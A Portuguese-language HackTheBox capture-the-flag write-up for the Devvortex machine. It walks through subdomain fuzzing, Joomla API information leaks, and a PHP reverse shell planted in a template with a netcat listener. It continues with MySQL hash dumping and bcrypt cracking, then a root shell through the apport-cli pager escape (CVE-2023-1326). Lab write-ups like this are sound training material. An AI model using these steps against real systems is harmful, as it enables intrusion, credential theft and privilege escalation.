DEVVORTEX

HackTheBox: Devvortex — Write-Up da Máquina

Um walkthrough técnico abrangente detalhando o comprometimento da máquina Devvortex no HackTheBox. Este caminho demonstra Fuzzing de Subdomínios, Enumeração da API do Joomla, Modificação de Template para acesso inicial, Extração e Quebra de Hash do Banco de Dados para movimento lateral, e exploração do Apport-CLI (CVE-2023-1326) para escalação de privilégios até root.

---

Resumo Executivo

• SO Alvo: Linux
• Dificuldade: Fácil
• Domínio: devvortex.htb
• Subdomínio: dev.devvortex.htb
• Conceitos-Chave: Enumeração de Subdomínios, Exploração do CMS Joomla, Divulgação de Informações, Quebra de Hash Bcrypt, Abuso de Sudo (apport-cli).

---

1. Reconhecimento & Enumeração

Varredura de Portas (Nmap)

Uma descoberta inicial rápida de portas TCP foi realizada em todas as portas:

nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>

Uma varredura subsequente de detecção de serviço e versão foi executada contra as portas abertas identificadas:

Bash

nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>

Configuração do Hostfile

Adicione o domínio base alvo à sua tabela de resolução de nomes local:

Bash

sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb

Descoberta de Subdomínios (FFUF)

Fuzzing de hosts virtuais para identificar ativos web adicionais:

Bash

ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ

Resultado: Descoberto dev.devvortex.htb. Adicionado dev.devvortex.htb a /etc/hosts.

Fuzzing de Diretórios

Enumerando rotas no host virtual recém-descoberto:

Bash

ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ

Resultado: Descoberto o endpoint /administrator, expondo um portal de autenticação de administrador do Joomla.

2. Acesso Inicial (Foothold)

Vazamento de Informações via API do Joomla

Sondando endpoints públicos expostos pela API REST do Joomla para coletar métricas sensíveis da aplicação e usuários:

Bash

curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)

Injeção de Web Shell via Templates do Site

Usando credenciais descobertas durante a enumeração, faça login no portal /administrator do Joomla:

1. Navegue até System > Site Templates.

2. Selecione o template ativo e abra error.php.

3. Substitua o conteúdo de error.php por um payload padrão de reverse shell em PHP.

Inicie um listener netcat local:

Bash

nc -lvnp 4444

Dispare a execução de error.php solicitando uma página inexistente ou acessando o arquivo diretamente.

Estabilização da Shell TTY

Assim que a shell conectar como www-data, gere uma sessão PTY interativa:

Bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

3. Movimento Lateral (Logan)

Enumeração do Banco de Dados

Acesse o banco de dados MySQL local usando credenciais recuperadas dos arquivos de configuração web:

Bash

mysql -u lewis -p

Consulte a tabela de usuários para localizar hashes de credenciais armazenados:

SQL

SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;

Quebra de Senha Offline

Extraia o hash de senha bcrypt do usuário logan para um arquivo local:

Bash

nano hash.txt

Quebre o hash usando John the Ripper junto com rockyou.txt:

Bash

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Autenticação via SSH

Estabeleça uma sessão SSH persistente como usuário logan com as credenciais quebradas:

Bash

ssh [email protected]

Flag de Usuário

Bash

cat user.txt

4. Escalação de Privilégios

Auditoria de Privilégios Sudo

Inspecione binários permitidos para o usuário logan:

Bash

sudo -l

Saída: O usuário pode executar /usr/bin/apport-cli como root.

Exploração do Apport-CLI (CVE-2023-1326)

Verifique a versão instalada do apport-cli:

Bash

apport-cli --version

Inspecione /var/crash em busca de arquivos de relatório existentes. Se estiver vazio, crie manualmente um arquivo de crash:

Bash

echo "ProblemType: Crash" > /var/crash/.crash

Inicie o apport-cli contra o arquivo de crash criado usando sudo:

Bash

sudo /usr/bin/apport-cli -c /var/crash/.crash

1. Pressione v para View report.

2. Quando o paginador (less) carregar o conteúdo, escape para uma shell do sistema digitando:

Plaintext

!/bin/bash

5. Consolidação do Sistema

Verifique a elevação para root:

Bash

whoami
# Output: root

Flag de Root

Bash

cat /root/root.txt